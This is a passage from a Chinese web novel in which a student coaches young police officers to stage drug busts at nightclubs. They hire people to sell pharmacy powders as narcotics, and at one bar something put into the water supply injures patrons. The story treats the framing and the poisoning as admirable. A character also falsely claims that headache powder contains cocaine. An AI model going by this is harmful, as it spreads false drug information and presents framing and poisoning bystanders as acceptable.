车灯照亮路面,半山腰的空地随着车头的转向缓缓展开。他关了发动机,让车滑行过去。熄火之后,四周突然安静下来,耳鸣一阵一阵地往上涌。 展雪从车上下来,摘下头盔。头发已经乱成一团,几缕被汗打湿了,贴在脸上。她站在原地听了一会儿——警笛声从市区的各个方向飘上来,整座城市都在响。 大飞从人群里走出来,往山下看了一眼。山下那片灯火通明的城市里,警灯在好几条路上同时闪烁,隔着这么远的距离,红蓝交错的光依然看得清清楚楚。他又听了一会儿,确认没有第二辆车的声音,这才转过身,看了看展雪,又看了看韩学涛。 空地上的人也安静下来。留在山上的车手都涌到路边,几个女孩从后座跳下,踮着脚往山下张望。麻花不在,跟韩学涛跑市区的那些车也都没跟上来。 大飞从兜里掏出那沓钱,数了数,递给展雪。沉默了两秒,又抽出两张一百的递过去——正是刚才韩学涛多给的那两百。 “今晚这样……也没啥请客的了。估计未来几天,麻花他们就得在看守所里吃了。” 他神色复杂,顿了顿:“雪儿,以后我这儿……你们他妈还是少来吧。” 韩学涛一笑,大声道:“谢了,飞哥。” 展雪也跟着喊了一声:“谢了,飞哥。” 大飞挠着光头,仰头看天,下巴上的肉堆起来,半天没动弹。等回声散净,他才朝其他人摆了摆手,语气无奈:“散了吧,散了吧。后面一个月也不用来了。” 展雪从后座跳下来,把那沓钱往韩学涛手里一塞:“你赢的。现在该我骑了。”说完从韩学涛手里拿过钥匙,跨上车。韩学涛又老老实实坐回后座。 车身从空地上滑出,在众人目瞪口呆的注视中下了山。 身后传来七嘴八舌的议论。 “那小白脸谁啊?挺猛的。” “麻花这回算是栽了。” 一个女生说:“雪儿找这男的挺帅的。” 旁边的女生哼了一声:“人家宁海大学的。你看看你的胸、你的腿,够不够档次说这话?” 先头那个女生噎了一下,嗓门反而大了:“老娘看看都不行了?” 而展雪带韩学涛下山,进入市区。在一个红灯前停下来,她右腿撑地,回头看着韩学涛问:“去哪儿?” “回学校呗,还能去哪?” “现在是放暑假,”展雪说,“我寝室床都收了。” 韩学涛想了想:“要不去我们男生寝室将就一晚上?” 展雪回头看了他一眼:“你赢了三千块钱就这么小气?” 韩学涛说:“那就去开房。” “你想的倒挺美的。”展雪把目光收回。 绿灯亮了,但她没动。 一个中年交警从路边走过来,看样子是要查车。他先是看了一眼车牌,目光又扫过整台车,顿时皱起眉头。 铃木的排气管还没完全降温,在夜风中散着热气。他蹲下来,摸了一下前轮胎的边缘,站起来,又看了看后轮胎。轮胎从轮毂到胎肩有一整片均匀的磨痕,是压弯时高温留下的痕迹,不是市区正常骑行能磨出来的。 “这么晚了,去哪儿啊?” 韩学涛从后座下来,从裤兜里掏出学生证,翻开递过去。 “我们是宁海大学的,”韩学涛不慌不忙地说,“晚上去做家教,刚回来。” 交警的目光在学生证上停了两秒,又看了看开车的展雪,怀疑顿时减了大半。 他把学生证递还给韩学涛,正要开口说什么,身后传来一阵发动机的声音。 一辆警车缓缓开过来,从车窗里探出一张脸,穿着警服,领口的扣子没系,看起来像是刚从什么地方赶过来的。 “涛哥!你怎么在这儿?” 刘小勇从车上跳下来,快步走到中年交警面前,脸上挂着笑:“李叔,这是我朋友。” 中年交警看了刘小勇一眼,又看了看韩学涛,笑了一下:“小勇,你可以啊。中专生还认识宁海大学的朋友。” 他把手里的登记本合上,朝韩学涛和展雪点了点头:“不好意思啊,临时查超速。走吧,晚上注意安全,别开太快。” 韩学涛朝他笑着说:“李叔辛苦。” 中年交警摆了摆手,转身走了。 而刘小勇拉住韩学涛的胳膊,语气一下子变了:“涛哥,你来得太好了。辉哥在那边呢,晚上我们有行动,正发愁不知道该怎么办。” 第211章 火先烧起来 刘小勇拽着韩学涛的胳膊往警车那边走,走了两步,又回头招呼展雪:“过来歇会儿。” 展雪把摩托车推到路边停好,锁了龙头,跟了上去。 警车停在路边。刘小勇拉开车后座门,从里面摸出两瓶矿泉水,递给韩学涛和展雪,又从兜里掏出一包红塔山,给韩学涛发了一根,自己也叼上。打火机“啪”地一响,两个人同时凑过去点着了。 腰上的传呼机震动起来,刘小勇取下来扫了一眼,又别回去:“辉哥在附近转悠呢。我call他过来,几分钟就到。” 烟抽到一半,远处一道车灯拐进了这条路。一辆警用面包车慢慢开过来,车身灰扑扑的,轮拱上溅满了泥点子,一看就没少跑烂路。 车在警车后面停下来,熄火,车门拉开,马辉跳了下来。 他穿着短袖警服,领口敞着两颗扣子,手里夹着一根还没点着的烟。整个人灰头土脸的,像刚从哪儿赶回来,脸上带着一股说不上来的烦躁。他低着头往前走了一步,脚步忽然顿住,抬头看见了韩学涛。 “涛子?”马辉一愣,眼里闪过一丝意外,“你怎么在这儿?” 他把烟叼进嘴里,快步走过来,在韩学涛面前站定,上上下下打量了一遍,又扭头看了一眼靠在车门上的展雪。展雪正低着头拧矿泉水瓶盖,长发垂下来遮住了半张脸。马辉的目光在两人之间来回扫了两趟,嘴角动了动,没吭声,把韩学涛拉到一边。 “涛子,班长呢?你跟这位——怎么回事?” 马辉对展雪印象不错。三个人有在酒吧打架的交情。但他到底还是跟李曼最熟。 韩学涛看了他一眼:“我的事儿还用你操心?你把你自个儿弄明白就行。” 马辉张了张嘴,又闭上了。他掏出打火机,“啪嗒、啪嗒”按了两下,把烟点着了,深吸一口,吐出一大团浓烟,整个人像被什么东西压着,喘不上气。 “啥情况?”韩学涛问。 马辉把前因后果讲了一遍。领导把他劈头盖脸一顿骂,说报纸上登了三个十五岁女孩在迪厅吃摇头丸的事,领导拍了桌子,骂他带着联防队在家养膘——联防队是给他扫毒用的,不是让他当家庭主夫的。马辉说到这儿,感觉十分郁闷:“领导话说得当然在理,但事难办。我手上二十来个人,想在全市撒网?别说扫毒了,连摸底都摸不过来。” 他掰着手指头数:“螺塘街那一亩三分地,我能找矿务局和棉一厂的保卫科来背书。出了螺塘,谁认识我马辉是谁?二十几个人扔进宁海,连个水花都溅不起来。没有足够人手,没有线人,没有支援,进那些迪厅、夜总会两眼一抹黑。这活儿怎么干?” 余兵停好车,从旁边探过头来补了一句:“最要命的是,我们连哪些场子有货都搞不清楚。硬闯?抓不着货也白搭。软磨?也磨不出什么东西来。这几天我们几个跑了好多家,吃灰吃得嘴都起泡了。” 马辉叹了口气:“付局的意思很明确——扫毒。但怎么扫,他不管。就甩了这么个死命令。” 刘小勇说:“我们三个商量了好久,真是没招了。” 韩学涛听完,抬眼问马辉:“玩这么大?你一个螺塘派出所的小警察,现在能搞全市规模的行动了?你能确定你们领导的意图?别回头把身上这身警服给玩丢了。” 马辉苦笑了一声:“我也想老老实实的啊。”他又把付祥民骂人的细节说了一遍——不是一般的挨骂,是被叫到总局去,当着严所长的面拍桌子。领导那句话直接都拍到他脸上了:扫毒不仅仅是一场攻坚战,更是一场声势战。 “声势战?”韩学涛眉头一挑。 “原话。”马辉说,“我当时没太明白,回来越想越觉得不对味儿。攻坚我能理解,声势战是什么意思?” 韩学涛眼神慢慢眯了起来:“你们领导这是要搞事情啊。声势比攻坚更重要,那就是到处煽风点火呗。” 马辉愣了一下。 “不知道你们领导背后憋着什么坏屁,”韩学涛说,“但话都说到这份上了,你们不能没有动作了。否则联防队一收,你又变回小民警。没有联防队,你再想混上副所长,不知道要等到猴年马月。” 马辉点了点头,没吭声。 “那就干吧。”韩学涛淡淡地说,“你们领导的意思很明显,不管扫毒扫得怎么样,火先烧起来。” 马辉、刘小勇和余兵三个人互相看了一眼,“怎么烧?” ...... 市局总部,副局长办公室。 灯还亮着。 付祥民在踱步。从桌边走到窗前,又从窗前走回桌边,来来回回,快二十分钟了。烟灰缸里堆着四五根烟头,有两根只抽了一半,烟蒂上留着深深的指甲印。他走到窗前,猛地拉开窗帘:楼下院子里停着几辆警车,警灯没亮,车身漆黑,排气管偶尔吐出一团白气。他又一把拉上。 砰、砰。 门被敲了两下。 “进来。” 赵伟推门进来。三十出头,金丝眼镜,头发一丝不苟。不像警察,更像机关里的文员。他手里夹着一个蓝色文件夹,走到桌前站定。 “付局,市区的飙车基本平息了。交警那边抓了几个,车型和车牌正在比对。交警支队问,行动是不是可以收了?” 付祥民背对着窗,没转身:“收?叫他们再坚持坚持。不急。” 赵伟在笔记本上记了一笔。 “其他的呢?”付祥民终于转过身来。 赵伟摇了摇头:“其他的还没有。至少我这边,还没收到回报。” “螺塘呢?什么动静?” “螺塘那边,马辉已经把联防队拉出去了。但目前为止,没有动作。” 付祥民眉头一皱,没说话。 赵伟看着他的脸色,犹豫了一下,还是开了口:“付局,现在几条线都布出去了。如果今晚没有动作,下次再行动,难度翻倍都不止。”他合上文件夹,手指用力按在封面上。 付祥民没接话,从桌上拿起烟盒,抽出一根叼在嘴里,打火机啪地响了,火苗凑上去,点了两下才点着。他深吸一口,吐出一团浓烟,在烟雾里眯着眼想了想,才想起赵伟还站着,又从烟盒里又抽出一根,朝赵伟扔过去。赵伟接住了,看了看手里的烟,没点,放在桌上。 “付局,”赵伟声音不高,但每个字都像是斟酌了很久,“要不要把人先撤回来?现在撤还来得及。有摩托党炸街这事儿顶着,起码对外能交代。可如果再等下去,一夜无事发生——回头不但行动保不了密,对您的威望……” “你说的,我又何尝不知道。”付祥民盯着烟头上那截灰烬,看它慢慢变长,摇摇欲坠,“但开弓没有回头箭。提早撤回来,看似损害小,但结果一样——这一枪不开出去,以后就没机会了。至少我这里,没有了。” 赵伟沉默了几秒,说:“那我们把希望寄托在螺塘联防队身上……是不是太草率了?马辉他们,能理解您的意图吗?” 付祥民弹掉烟灰,看着灰烬落进烟灰缸里,碎成细末。 “我也想换条线。但不能。”他的声音沉下来,像是在跟赵伟说,又像是在跟自己说,“整个案子,我们连‘打私’两个字都不能提,还是借着扫毒的名义。为什么?远星集团树大根深。来胜平——当过侦察兵,当过警卫员,不是一般犯罪分子。一旦被他发现意图,别说小小螺塘,就连我能不能完整地回到东林,都是未知数。” 他叹了口气。烟雾从鼻孔里慢慢喷出来,在灯光下散开。 他用马辉,是因为信得过。可马辉太年轻了。他已经对不起马辉的父亲,不能再把儿子也卷进来。万一出了事,他怎么跟马辉的母亲交代? 所以有些事情,他不能跟马辉明说。什么都不知道,往往就是最好的护身符。 更何况,来胜平在宁海经营这么多年,省里、海关,甚至部队都有人给他打伞,公安系统里会没有他的人? 付祥民每一步都得走得很谨慎——谨慎一点,总比踩错一步强。 烟雾散尽了。 他把烟掐灭在烟灰缸里,抬起头。那个沉稳、笃定的付祥民又回来了。 “再等等。”他说,“叫所有人都打起精神,做好准备。一刻都不能懈怠。” 赵伟站直身子,把文件夹夹在腋下。 “是,局长。” 第212章 万事不求人 “怎么烧?” 马辉、于兵、刘小勇三个人,六只眼睛,直愣愣地盯着韩学涛。 韩学涛笑了笑说:“你们啊,还是跳不出当警察的那根筋。” “听起来困难是不少——人手不够,没情报、没证据......可目标很明确,就是把事儿闹大。领导也把路子指给你们了——缉毒。目标清楚,手段现成,还难在哪儿?” 马辉眨了眨眼,没接话。于兵和刘小勇对视一下,脸上还是写着懵。 “你说明白点。”马辉说。 “简单。万事不求人,自己找人到场子里卖粉,你们进去人赃并获,谁能拦你们?” 马辉愣了一下,随即满脸黑线:“我上哪儿找人卖粉去?总不能跟领导说——您帮我批点儿白粉下来,我找人去酒吧里卖吧?” 刘小勇小声嘀咕:“涛哥,你是不是说找点面粉——” “你们这脑子怎么就不开窍呢?”韩学涛直接打断,“去药店买点头疼粉、咳嗽粉,那玩意儿里头本来就含可卡因。找人进场子里卖,那边一卖,你们进去一抓——后面的事还用我教?” 他顿了下,扫了一圈。 三个人全傻了。 韩学涛接着说:“别管那是什么粉,只要是白的,在那个场子里搜出来,它今天晚上就必须是‘白粉’。明天化验出来你更不用怕,头疼粉里头本来就有那玩意儿,谁也挑不出刺。你找的那个人更简单,把包装纸跟药店的收据一亮,关两天就滚蛋了,多大点事?买不着粉,就买几瓶止咳露,当饮料卖!要烧火,还不容易?” 三个人彻底听呆了,嘴微微张着,满眼震惊——这也能行? 过了十几秒,马辉一挥手,“就这么干!” 刘小勇和余兵对视一眼,眼神里带着兴奋。 韩学涛伸手去摸手机,想联系包达,心想还是得自己找人,这时候,展雪说话了—— “我来帮你们找人吧。” 几人都看向她。 展雪说:“酒吧里卖粉的那帮人,有自己的圈子。你们圈子里没人,栽赃的痕迹藏不住。传出去警察玩黑吃黑——以后谁咬你们一口,都够喝一壶的。” 韩学涛心里微微一动。展雪并不知道他要找包达,这番话全是凭她自己的判断说出来的。能想到这一层,很不简单。到底是来胜平的女儿。 韩学涛问,“你认识圈里的人?” 展雪说:“别忘了我是玩地下乐队的。找几个嗑药的,轻轻松松。” 韩学涛和马辉对视一眼——牛油不就是因为这个进去的么。 “行,那交给你了。” ...... 夜里十点半,宁海城西,彩虹桥酒吧。 酒吧开在城西运河边,是一栋二层小楼,外墙刷成深红色,门头上挂着霓虹招牌,“彩虹桥”三个字在夜色里一明一灭。 作为宁海的老牌夜场,这家酒吧九三年开张,四年下来攒了不少熟客。老板叫蒋德胜,早年在矿上跑运输攒下第一桶金,后来煤矿不景气,就把车卖了,到城西开了这家酒吧。他有个把兄弟姓孟,转业后分到区工商局,关系硬得很。有这层关系在,开酒吧这几年,消防、卫生、工商,方方面面都顺顺当当。 十点半,酒吧正好开始上人。 卡座里已经坐了个五六成,聊天的、碰杯的,声音渐渐混成一片。吧台边上一排高脚凳陆续被人占下,有人正招手点酒。舞池里已经开跳,但人还不多,几个年轻男女跟着节奏晃动身子。这个点才刚刚起势,真正的热闹要等十一点半以后。 一辆出租车停在酒吧门口,下来两个年轻人。 两人都是二十出头,穿着花衬衫,头发抹了摩丝。一个是瘦高个,走起路来脑袋一点一点的,像在跟着什么节拍打点。另一个矮一些,圆脸,手里夹着一根烟。两人在门口张望了一下,推门进去了。 门口负责安保的姓周,大家都叫他周哥。他以前在矿上给蒋德胜开卡车,后来跟着来了酒吧。这会儿他正靠在门框上,见两个年轻人进来,目光扫了一眼,就没再看第二遍。这两个人他认识,是矿务局的,以前在螺塘那边的酒吧混,后来那片被扫荡了,就开始往别的场子跑。上周也来过,没什么新鲜的。 两个年轻人穿过吧台,绕过舞池,朝里面的卡座区走去。瘦高个在前,圆脸在后,一前一后,像两只闻到腥味的夜猫。 走到最里面一个卡座,瘦高个停下来,朝里面一个穿黑T恤的男人点了点头。那人从口袋里摸出一小包东西,用拇指和食指捏着递过来。瘦高个接过去捏了捏,揣进兜里,随即掏出几张钞票,折了一下,塞进对方手心。整个过程不到十秒,昏暗的灯光下几乎看不出痕迹。 两人继续往里走,拐进走廊,在最尽头的一个包间门口停下来。瘦高个敲了三下,一长两短。门从里面开了。 包间里烟雾缭绕,坐了五六个人,桌上摆着几瓶洋酒和几个玻璃杯。瘦高个和圆脸挤进去,门立刻就关上了。 瘦高个把那小包东西放在桌上,撕开封口,把里面的粉末倒在桌面上,用一张卡片刮成几道。坐在中间的男人三十出头,留着板寸,脖子上的金链子比手指还粗。 他拿起一根吸管凑上去,粉末被吸进去一半。板寸男人抬起头,眉头皱起来,嘴巴吧唧了两下,脸上的表情从期待变成了厌烦。 “呸,”他啐了一口,“怎么这么淡?” 瘦高个话还没出口—— 就听见一声巨响,“砰!” 门被撞开了,门把手直接弹到墙上。 几个穿便装的人冲进来,动作快得像早就等在外面。领头的一个膀大腰圆,一把将板寸男人从沙发上拽起来,反手拧住胳膊,膝盖顶在他后腰上,整个人压下去,板寸男人的脸被按在桌面上,正好贴在那道白色粉末旁边。 “别动!警察!” 包间里顿时炸了锅。有人想站起来被按住,有人想往门口跑被堵回来。 圆脸年轻人刚起身就被一只脚绊倒,膝盖磕在地上,疼得龇牙咧嘴,双手已经被拧到身后,只听见“咔嗒”一声,手铐扣上了。瘦高个缩在角落里,双手抱头蹲在地上,一动不敢动。 走廊里传来密集的脚步声,从走廊到吧台,从吧台到舞池,从舞池到二楼,到处都是人。穿便服的联防队员像从地下冒出来似的,迅速分散到各个区域。 马辉穿着警服,从走廊那头大步流星地走过来,刘小勇跟在他后面,手里拿着一本搜查证。马辉走进包间,扫了一眼被按在桌上的板寸男人,又看了看桌面上那道白色粉末,眉头一跳。 “就在包间里这么大张旗鼓地吸?简直无法无天!” 他走出包间,站在走廊中间,朝各个方向扫了一眼。联防队员已经在各自位置上就位,等着他下令。他抬起手,食指和中指往前一指。 “全部搜查,一个死角都不能放过!” 第213章 你还有什么优点? 彩虹桥酒吧外面,警车里,只有韩学涛和展雪两人。 韩学涛坐在驾驶座上,侧过身,伸手在副驾驶前面的储物箱里一顿翻。 储物箱塞得跟垃圾堆似的——一个红色塑料手电筒,一卷电工胶带,半包红塔山,一沓不知道谁落下的罚款单存根,还有一盒过期得不能再过期的清凉油。 他把这些破烂扒拉到一边,从最底下摸出一个车载电热杯来。灰白色塑料壳,杯身上印着“公安”俩字,插头缠在杯底,一看就是单位发的,从来没人动过。 “哈哈!”他冲展雪一乐,又从后座拎过一个塑料袋——里面是在路边小卖部买的:两包方便面,两个鸡蛋,一根火腿肠。 接着,他从副驾驶座位底下抽出一箱矿泉水,撕开塑封,拎出一瓶。拧开盖子,倒了一点水进电热杯,晃了晃倒掉,算是洗过了,又重新倒上多半瓶,水面刚好到杯身三分之二的地方。插头往点烟器里一插,电热杯底部立马亮起一圈红光,水慢慢热了起来。 他撕开方便面的包装袋,面饼扔进电热杯,调料包挤上去,又用钥匙环上的小刀把火腿肠切成一段一段的,整整齐齐码在面饼周围。 展雪坐在副驾驶上,侧着身子,胳膊肘撑在中控台上,手掌托着下巴。 她就这么看着韩学涛把鸡蛋磕开,蛋液滑进杯里,蛋黄完整地落在面饼正中央。那动作特别自然,不像是在凑合,倒像在做一顿挺有仪式感的大餐。 她的目光从电热杯挪到韩学涛的侧脸上。车里光线暗得很,只有仪表盘的光映在他脸上,鼻梁一侧亮着,另一侧藏在阴影里。他低着头盯着电热杯等水开,眉间带着一种男人特有的认真劲儿。 展雪看了一会儿,又转过脸去,目光穿过车窗,落在彩虹桥酒吧门口。霓虹灯还在闪,门口站着几个联防队员,正在疏散客人。有女孩从里面出来,捂着嘴哭;有男的被联防队员架着,脚拖在地上,嘴里骂骂咧咧。警车周围拉起了警戒带,一个年轻警察站在旁边,手里拿着本子,正对着一个刚被带出来的男人问话。展雪的目光从那些人脸上扫过去,一秒都没多停。 韩学涛顺着她的视线瞟了一眼酒吧门口,不紧不慢地说:“甭看了,没啥问题。先开枪后画靶,真有毛病才叫见了鬼。” 话音刚落,余兵就从酒吧大门跑了出来,三步并作两步蹿过马路,弯腰凑到车窗边,脸上笑得跟朵花似的。 “涛哥,搞定了。你这招真他妈绝了。” 韩学涛问:“搜出什么了?” “摇头丸,装了一个黑色手提包。还有管制刀具——几把匕首,一把砍刀,就藏在吧台下面的暗格里。这一票捞着了。” 韩学涛点点头:“接下来呢?” “已经通知总局了,他们派一辆车过来把人拉走审讯,咱们直接奔下一家。”余兵说着,朝酒吧方向看了一眼。 韩学涛抬起头,压低声音:“别忘了把我们自己找来的人摘出来。” “放心。”余兵摆了摆手,又看向展雪,“雪儿姐找的是矿务局的人。辉哥的意思是让矿务局把人领回去就完了,顺便修补一下咱跟矿务局的关系。”他说完自己先笑了,“辉哥说这叫借花献佛。” 韩学涛说:“这就对了。花花轿子人抬人,辉哥已经初步具备副所长的层次了。” 余兵嘿嘿笑了两声,鼻子忽然抽了抽,往警车里探了探头:“煮啥呢?这么香?” 电热杯里的水已经滚了,面饼散开,调料和火腿肠的香味混在一起,从杯口直往外冒。韩学涛低头看了一眼——鸡蛋已经凝固了,蛋黄半熟,正是火候。 “泡面。来点?” 余兵摇了摇头:“不吃了,赶紧把这边弄完,趁热打铁去下一家。”他朝俩人点了点头,转身快步走回酒吧,背影很快被霓虹灯的光吞没,消失在门口。 韩学涛收回目光,看着电热杯里翻滚的面。从储物箱里翻出一个搪瓷杯子,杯壁上印着“全市公安系统运动会纪念”的字样,红漆已经掉了一半,他用矿泉水随便冲了冲,然后用勺子从电热杯里挑出一半的面,连带半个鸡蛋和几片火腿肠,一起拨进搪瓷杯里,剩下的连汤带面,留给了展雪。 “赶紧吃。晚上跟我爸我妈一起吃,肯定没吃好,又开了半天车,补充点能量。” 他喝了一口汤,烫得眯了一下眼,咽下去之后继续说:“今天晚上去开房,估计是没戏了。待会儿在警车上给你找个地方,凑合睡一会儿。” 展雪接过电热杯捧在手里,热气扑上她的脸,睫毛上凝了一层细细的水雾。她看着韩学涛低头吃面的样子,嘴角一弯,说:“我问你——今天晚上要是没碰到你同学他们,你会不会真带我去开房?” “别挑衅我啊,小妞。”韩学涛抬起头,眉毛拧着,语气恶狠狠的,“你现在是在危险的边缘试探,知不知道?” 展雪“切”了一声,低下头开始吃面。 面条不软不硬,正好挂住了汤汁。火腿肠被切成薄片,在热汤里泡过之后边缘微微卷起来,咬下去有一点点脆。鸡蛋半熟,蛋黄还没完全凝固,用舌尖一抿就化开了,混着面汤,咸鲜热辣,在这种夜里吃下去,有种说不上来的满足。 展雪吃了几口,又抬起头。 “我发现你挺不一样的。” 韩学涛正咬着半根火腿肠,含混地说:“你才发现?是不是有点后知后觉?” “早发现了,从第一天见你,就发现你有点不一样。” 韩学涛问:“那么早?是因为我上台弹吉他唱歌?” “唱歌是一件事。”展雪说,“还有之前——叫你换皮鞋你怎么都不肯,说明你这个人很自我。” 韩学涛笑了一下:“这话听着不像什么好词。” “自我的男人我见得多了,但绝大多数都是封闭的。”展雪说,“你的自我是放开的,所以关键时刻你就上了台。还有卖苹果那次,你把孙婷婷给整服了。” “能不能别用‘整’这个字?画面不对。” “我说真的。”展雪认真地挑着面条,“能让孙婷婷服的男生不多,你是一个,我能感觉得出来。” “孙婷婷服不服,得她说了才算。”韩学涛说,“你就说你自己。” “我说了呀——我觉得你挺不一样的,自我但是又不张扬,而且我没想到你会的东西挺多的。”展雪喝着面汤,睫毛扑闪着,目光越过碗沿,看向韩学涛。 韩学涛笑了笑:“这么多优点,够不够骗你去开房了?” 展雪哼了一声:“我夸你两句,你就莫名自信了?” 韩学涛说:“我长得还帅呢。你去打听打听,学校好多人说我是校草。” 展雪用眼睛从上到下把他打量了一遍——端着搪瓷缸子,头发乱糟糟的,身上的T恤因为刚才飙车显得灰扑扑的——忍不住笑出了声。 “就这?哈哈哈……你还有什么优势?再说一个,看看能不能打动我?” 韩学涛想了想:“特困生算不算?每个月都能拿补助的。” 展雪说:“你真有钱。”然后笑得更厉害了。 两个人一边吃面一边斗嘴闲聊。等面吃完,酒吧那边也差不多搞定了,联防队员开始往外撤。 马辉回到车上,一脸兴奋:“涛子,你这招牛逼了!总局那边来人接收,看着咱联防队,眼神都变了,不相信这是咱干出来的活儿。据说缉毒那边也盯了这家酒吧好长时间,一直没找到突破口,被咱截胡了。” 说完他转向展雪,点了下头:“谢了啊,招待不周,下次请你和涛子吃饭。” 展雪说:“吃过了,你们车上煮面挺不错的。” 韩学涛说:“抓紧时间吧,这才端了一家,火烧得不够旺。” 马辉收起笑:“下面换个地方——去城南,帝豪。” 刘小勇从旁边凑过来:“帝豪那家搞不好也能搜出东西。以前在警校读中专的时候就听说了,那家老板涉黑,传得挺邪乎的——说那老板以前在东北那边混过,身上背着案子,跑到宁海改了名字开酒吧。还有说他跟毛子那边有生意往来,车里常年备着枪,也不知道真的假的,反正说一般警察惹不起。” 余兵点了根烟:“是有这种说法,大几届那帮老生传的。管他娘的,现在咱就过去端了他。” 第214章 混乱帝豪 警车在离帝豪酒吧两百多米的路边停了,灯全关了。 这地方是柳河路,路窄,两边全是老居民区。头顶上梧桐树冠连成一片,把路灯遮得差不多了。看不见帝豪的招牌,只有远处霓虹灯的光在夜空里晕开一团暗红。 韩学涛收回目光,转头问马辉:“打算怎么弄?” 马辉刚要张嘴,韩学涛先开了口:“江湖上那些传言,不能全信,也不能当耳旁风。宁可信其有吧。” 刘小勇从后座探过身来:“我穿便装,带几个人进去摸摸底。” 马辉点点头:“去吧,别打草惊蛇。” 韩学涛交代道:“摸清楚窗户在哪儿,有几扇,能不能从外面打开。安全通道通到哪条路,门是推的还是拉的,锁没锁。洗手间在什么位置,前场后场各几个。隐蔽的包间摸不清就别硬来。还有吧台——” 刘小勇一一记下,点了点头,下车换了件深色外套,带着三个人散开,朝酒吧走去。 韩学涛又转头问展雪:“你的人呢?” 展雪看了眼传呼机:“来了,等我传呼呢。” 不到五分钟,一辆没开大灯的摩托车低低地驶过来,停在警车旁边。 骑手摘下头盔——韩学涛一看,我靠,正是晚上在武丞山上飙车的那辆南方125的车手,后座上坐着那个穿牛仔短裤的挡泥板妹子。 俩人走到展雪面前,喊了声“雪儿姐”,又看了韩学涛一眼,犹豫着叫了声“哥”。 韩学涛从兜里掏出那沓钱,数了五百递过去。车手接过来揣进裤兜。女孩眼睛一亮,嘴角弯了弯,又忍住了。 “进去卖点咳嗽粉,配合白帽子叔叔抓坏蛋。有问题没?” “放心吧哥,我小海办事,绝对不会掉链子。”俩人眼睛里全是兴奋的光,感觉接的这趟活,比飙车还带劲! 展雪在一旁,不说话,就静静地看着韩学涛安排事情。 等小海搂着女孩转身去了酒吧,韩学涛推开车门:“我下去转一圈。” “一起吧。”展雪跟着下了车,很自然地挎住他胳膊。 绕着帝豪走完一圈,韩学涛心里有数了。 又过了半个小时,刘小勇快步回来了,钻进车里,喘着气说:“都记清了。吧台在进门左手边。安全门在大厅右侧,是推的,锁着,但从里面能打开。VIP走廊在吧台后面,有铁门挡着,没锁。旁边是洗手间,男女各一间。” 听完,马辉立马准备下车。韩学涛拉住他:“急啥,先做准备。” 他把马辉、刘小勇和余兵叫到一起,压低声音吩咐起来…… 三个人越听越惊,等他说完,全沉默了。马辉抬手擦了擦额头,手背上全是汗。 展雪站在旁边,看着韩学涛,发现这家伙比自己想的还要坏! 刚才她和他一起围着帝豪走了那一段路,感觉跟平时散步没啥区别。现在看他压低声音说的那些话,她才知道那段路他观察了多少东西。 马辉吩咐联防队员准备。 几分钟后,两个联防队员从另一辆车里摸出来,扛着两个鼓鼓囊囊的蛇皮袋,穿过马路,钻进酒吧对面的小巷子里,往酒吧上游方向去了。又过了几分钟,有人从酒吧侧面绕回来,跟马辉点了下头。 马辉拿起对讲机,低声说了句什么。 …… 帝豪酒吧里面,正是最热闹的时候。 大厅里音乐震耳,舞池里挤满了人。穿黑衬衫的保安靠在吧台边,手里握着对讲机,百无聊赖地看着场子。贵宾区的走廊铺着红地毯,两边的包间门关得严严实实。 而此时,他们压根没意识到,接下来要发生什么事…… 洗手间里,有人对着镜子照头发,有人低头洗手,有人在隔间里打电话。马桶冲水的声音混进音乐里,根本听不见。 但这一波水冲下去之后,就再也抽不上来了。 先是有人从洗手间出来,对门口的保安说马桶堵了。保安皱了皱眉,拿了皮搋子进去。可过了几分钟,出来的不是保安,而是一股味道——不是普通那种臭,而是一种刺鼻的、让人恶心的腐臭,像什么东西在管道里泡太久了,突然被翻了出来。 这股味道从洗手间蹿到走廊,又从走廊涌进了大厅。越来越浓,浓到舞池里的人不得不停下来——音乐还在响,但已经没人跳了,到处都是咳嗽声和骂声。 与此同时,卫生间门口的地面上开始有污水漫出来。灰黑色的泡沫顺着地砖的缝隙往大厅方向流,有人一脚踩上去滑了一跤,裤子湿了大半。他狼狈地想爬起来,但身边的人只顾着捂着鼻子往后退,没一个人伸手去扶。 几个穿黑衬衫的保安从前场往后场跑,想搞清楚发生了什么,可还没等他们跑到,大厅的地面已经被污水泡了一片,酒瓶倒了一地。一个光头骂骂咧咧地从人群里挤过去,一脚踩进污水里,溅起的水花正好喷在旁边一个穿裙子的女人腿上,她当场尖叫了一声。 老板蒋彪从VIP包间出来,站在走廊尽头,皱着眉看着大厅里的一片混乱。他拿起对讲机喊了几句,大意是让人去查下水道,再拿几个大排风扇过来,赶紧把味儿散了。几个服务员听了,捂着鼻子往后厨跑,去拿抹布和拖把。 后厨的取水口连着大水箱。一个服务员拧开水龙头,接了一桶水,然后把拖把伸进去搅了两下,开始拖地。但他很快发现,被污水泡过的地面根本拖不干净——拖把带起来的泡沫比污水还多。 他停下来,用袖子擦了一下脸上的汗。袖口的水溅到了嘴唇上,他下意识地舔了一下。嘴唇立刻火辣辣的,像被人用辣椒水刷了一遍。但他没太在意,以为是自己的错觉,便继续拖。 可紧接着,手背上沾到的水蹭到了眼睛——眼睛开始发红发烫,像有什么东西在眼球表面烧,泪水止不住地往外涌。他丢下拖把,捂住眼睛,蹲在了地上。旁边的人走过来问他咋了,他抬起头,眼睛已经睁不开了。 仅仅几分钟之内,酒吧后场的服务员、保安、以及几个卡座里的客人,都陆续出现了同样的症状。不是所有人——恰恰是那些用过水的人:有人洗了脸,有人洗了手,有人喝了一口冰水。症状一模一样——眼睛火辣,睁不开;喉咙像被什么东西烧过,说话沙哑。 这一下,大厅里的混乱彻底升级了。 有人撞翻了桌子,有人踩碎了酒瓶,玻璃碴子碎了一地。保安队长冲进后厨,拧开水龙头,接了一捧水直接扑在自己脸上——水一进眼睛,他立刻双手捂着脸,发出一声痛嚎,然后跪在了地上,像被蜜蜂蛰了。 而在大厅里,马辉正看准了这个时机。 拿起对讲机:“动手!” 第215章 犯罪克星 潜伏在酒吧四周的联防队员同时动了起来——有人从正门冲进去,有人从安全门翻进去,有人从巷子里的窗户翻进去。与此同时,刘小勇带着一队人直奔吧台。 而此时,小海和短裤妹子已经被熏得睁不开眼睛了。他们就在吧台,被呛得不行,于是本能地拿起冰水喝了一口,结果就像喝了辣椒油一样,嗓子立刻烧了起来。 可就这样,俩人还没忘了正事,扯着嗓子喊:“卖粉啊!咳咳咳……卖粉了!” 这一嗓子,正好给了联防队动手的借口。余兵冲过去一把把人按住:“公然卖粉,带走!其他人,全场搜!” 就在余兵喊话的同时,马辉带着一队人穿过大厅,往VIP包间方向冲。 